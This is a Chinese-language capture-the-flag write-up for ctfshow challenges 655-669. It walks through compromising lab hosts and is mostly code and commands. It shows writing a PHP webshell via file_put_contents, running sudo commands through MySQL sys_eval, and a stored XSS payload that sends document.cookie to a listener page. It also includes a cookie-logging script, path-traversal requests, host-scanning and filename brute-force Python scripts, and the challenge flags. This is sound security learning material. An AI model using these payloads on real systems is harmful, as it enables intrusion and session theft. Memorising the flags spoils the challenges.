ctfshow-终极考核(655-663)
其实早有各位大佬博客珠玉在前,奈何讲的不是很详细,对大佬一带而过,一点就通的知识,我感觉很是困难,因此写博客详细记录自己的历程。
655
接着654,查看ifconfig

很明显如果我们后面想批量扫描或者执行指令在蚁剑的这个界面不好施行,我们需要写一个web界面,把想执行的指令作为post参数转过去,这样python就可以批量处理了。
发一个.php文件
POST /system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6} HTTP/1.1
Host: 83848afc-f2e9-4769-9cdc-db6eb9ff5ef9.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Content-Length: 306
file=../db/data_you_never_know.db&key=key_is_here_you_know&1=file_put_contents('sqltest.php','<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
$mysqli = new mysqli("localhost","root","root","ctfshow");
$tmp = $mysqli->query($_POST["sql"]);
$result = $tmp->fetch_all();
print_r($result);
?>');
然后访问/system36d/util/sqltest.php即可,编写脚本扫描存活主机
import requests url = "http://8dde221a-1196-4b52-8dc3-611cbc2c5b50.challenge.ctf.show/system36d/util/sqltest.php" i=0 while(i<256): payload="sudo ping -c 1 172.2.167."+str(i)+" >> 1";#ip貌似随着靶机随机的 payload="select sys_eval('"+payload+"');"; data = {"sql": payload,} r = requests.post(url=url, data=data) print(str(i)+r.text) i=i+1
结果发现1-7是存活主机,其中一个是本机。
依次curl一遍,发现有一台机子有回显(不是80端口就要扫描端口了)

扫描发现存在phpinfo.php和www.zip;访问/phpinfo.php,找到655的flag(这里可以扫描,但是比较麻烦,因为一般工具不好直接扫描,可以写python,但是要找一个密码本,这里省略扫描过程了)

656
下载www.zip解压审计
curl 172.2.167.5/www.zip > /var/www/html/www.zip
本地访问www.zip,审计代码,是让我们先登入才好进行接下的大部分的操作
function index(){ $html='管理员请注意,下面是最近登陆失败用户:<br>'; $ret=db::query('select username,login_time,login_ip from ctfshow_logs order by id desc limit 3'); foreach ($ret as $r) { $html .='------------<br>用户名: '.htmlspecialchars($r[0]).'<br>登陆失败时间: ' .$r[1] .'<br>登陆失败IP: ' .$r[2]. '<br>------------<br>'; } return $html; }
看这段代码是一个xss(没想到,因为没说管理员会定时查看/(ㄒoㄒ)/),总之就是我们通过构造用户名来做一个存储型xss
发送到的靶机的话就是我们现在这台机子,先上传一个监听界面
<?php $cookie = $_GET['cookie']; file_put_contents('cookie', $cookie);
访问传数据
sql=select sys_eval('sudo curl -i -H "X-Forwarded-For:<script>document.location=\'http://172.2.167.4/system36d/util/cook.php?cookie=\'%2bdocument.cookie;</script>" http://172.2.167.5/index.php?action=login');

等一会获得数据,解码auth(注意貌似写入的时候会少一位一般是等于,cookie发送时候可以多发几个数字,防止解码不出来)
657
拿到cookie直接伪造就行
sql=select sys_eval('sudo curl -i -b "PHPSESSID=sl1s7np6736hskgni7n244sg2r;auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=" \'http://172.2.167.5/index.php?action=main%26m=getFlag\'');
658
659
扫描到robot.txt,根据说明可以访问/public/,这里存在目录穿越
sql=select sys_eval('sudo curl -i -b "PHPSESSID=sl1s7np6736hskgni7n244sg2r;auth=ZmxhZ182NTY9Y3Rmc2hvd3tlMGI4MGQ2Yjk5ZDJiZGJhZTM2ZjEyMWY3OGFiZTk2Yn0=" \'172.2.167.5/public../\'');
可以翻到659,660,661,665的flag
660
目录穿越翻nginx的日志可以找到
661
目录穿越
172.2.167.5/public../home/flag/secret.txt
662
翻倒一个脚本
172.2.167.5/public../home/www-data/creater.sh
#!/bin/sh file=`echo $RANDOM|md5sum|cut -c 1-3`.html echo 'flag_663=ctfshow{xxxx}' > /var/www/html/$file
生成一个_ _ _.html文件。前三位是小写字母加数字,直接爆破会量很大,注意发现是MD5的前三位,那么只要考虑16*16*16
import requests
url = "http://7b3ef3ef-163f-45e2-9ad0-02a11d04afb4.challenge.ctf.show/system36d/util/sqltest.php"
list='0123456789abcdef'
m=''
while(1):
for i in list:
for j in list:
for k in list:
payload="sudo curl 172.2.239.5:80/"+str(i)+str(j)+str(k)+".html";#ip貌似随着靶机随机的
payload="select sys_eval('"+payload+"');";
print(str(i)+str(j)+str(k)+".html")
data = {"sql": payload,}
r = requests.post(url=url, data=data)
m=r.text
print(r.text)
if('404' not in m):
break
if ('404' not in m):
break
if ('404' not in m):
break
if ('404' not in m):
break
垃圾脚本勿喷,要速度可以脚本产生密码本,用burp的多线程来跑

663
同上,可能你已经注意到上面的sh内容说的就是663的flag,但是662和663是同一个flag
664
665
翻目录
666
667
扫描发现3000端口开着,访问

668
669

浙公网安备 33010602011771号